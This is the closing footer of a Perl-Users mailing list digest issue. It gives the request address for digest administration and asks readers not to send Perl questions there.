For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V9 Issue 544
*************************************


home help back first fref pref prev next nref lref last post